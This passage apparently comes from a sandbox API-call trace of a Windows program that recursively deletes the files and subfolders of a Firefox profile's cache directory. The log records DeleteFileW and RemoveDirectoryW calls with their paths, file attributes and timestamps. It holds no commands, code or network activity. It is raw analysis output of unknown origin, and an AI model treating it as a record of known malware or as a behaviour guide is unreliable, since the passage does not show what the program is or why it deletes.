pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4\\3C9ECd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4\\3C9ECd01" [0117.231] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4\\3C9ECd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\1\\e4\\3c9ecd01")) returned 1 [0117.251] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x637b39f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x637b39f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x637b39f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x47e8, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="3C9ECd01", cAlternateFileName="")) returned 0 [0117.251] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.251] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.251] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.251] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.251] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\1\\e4")) returned 1 [0117.251] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42281160, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42281160, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42281160, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="F6", cAlternateFileName="")) returned 1 [0117.251] lstrlenW (lpString="F6") returned 2 [0117.251] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1", pszFile="F6" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6" [0117.251] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6") returned 84 [0117.251] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.251] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.251] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.251] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6\\*.*" [0117.251] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42281160, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42281160, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42281160, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.251] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42281160, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42281160, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42281160, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.251] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42281160, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42281160, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x422a72c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xa60b, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="CBD4Dd01", cAlternateFileName="")) returned 1 [0117.252] lstrlenW (lpString="CBD4Dd01") returned 8 [0117.252] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6", pszFile="CBD4Dd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6\\CBD4Dd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6\\CBD4Dd01" [0117.252] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6\\CBD4Dd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\1\\f6\\cbd4dd01")) returned 1 [0117.256] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42281160, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42281160, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x422a72c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xa60b, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="CBD4Dd01", cAlternateFileName="")) returned 0 [0117.256] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.256] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.256] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.256] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.256] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\F6" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\1\\f6")) returned 1 [0117.270] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42281160, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42281160, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42281160, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="F6", cAlternateFileName="")) returned 0 [0117.270] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.271] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.271] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.271] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.272] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\1")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x57058770, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="2", cAlternateFileName="")) returned 1 [0117.281] lstrlenW (lpString="2") returned 1 [0117.281] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="2" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2" [0117.281] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2") returned 81 [0117.282] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.282] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.282] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.282] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\*.*" [0117.283] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x57058770, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.289] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x57058770, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56daaeb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56daaeb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56daaeb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="48", cAlternateFileName="")) returned 1 [0117.289] lstrlenW (lpString="48") returned 2 [0117.289] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2", pszFile="48" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48" [0117.289] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48") returned 84 [0117.289] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.289] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.289] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.289] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48\\*.*" [0117.289] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56daaeb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56daaeb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56daaeb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.298] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56daaeb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56daaeb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56daaeb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.298] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56daaeb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56daaeb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56e1d2d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xb96b, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="7555Ad01", cAlternateFileName="")) returned 1 [0117.298] lstrlenW (lpString="7555Ad01") returned 8 [0117.298] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48", pszFile="7555Ad01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48\\7555Ad01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48\\7555Ad01" [0117.298] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48\\7555Ad01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\2\\48\\7555ad01")) returned 1 [0117.308] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56daaeb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56daaeb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56e1d2d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xb96b, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="7555Ad01", cAlternateFileName="")) returned 0 [0117.308] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.308] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.308] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.308] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.308] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\48" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\2\\48")) returned 1 [0117.309] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57058770, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x57058770, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="59", cAlternateFileName="")) returned 1 [0117.309] lstrlenW (lpString="59") returned 2 [0117.309] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2", pszFile="59" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59" [0117.309] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59") returned 84 [0117.309] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.309] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.309] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.309] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59\\*.*" [0117.309] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57058770, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x57058770, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.309] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57058770, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x57058770, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.309] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57058770, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x570f0cf0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xa5a8, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="DD6B0d01", cAlternateFileName="")) returned 1 [0117.309] lstrlenW (lpString="DD6B0d01") returned 8 [0117.309] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59", pszFile="DD6B0d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59\\DD6B0d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59\\DD6B0d01" [0117.309] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59\\DD6B0d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\2\\59\\dd6b0d01")) returned 1 [0117.310] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57058770, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x570f0cf0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xa5a8, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="DD6B0d01", cAlternateFileName="")) returned 0 [0117.310] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.310] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2\\59" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\2\\59")) returned 1 [0117.310] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57058770, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x57058770, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x57058770, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="59", cAlternateFileName="")) returned 0 [0117.310] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.310] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\2" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\2")) returned 1 [0117.310] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635523f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="3", cAlternateFileName="")) returned 1 [0117.310] lstrlenW (lpString="3") returned 1 [0117.311] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="3" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3" [0117.311] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\3") returned 81 [0117.311] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.311] 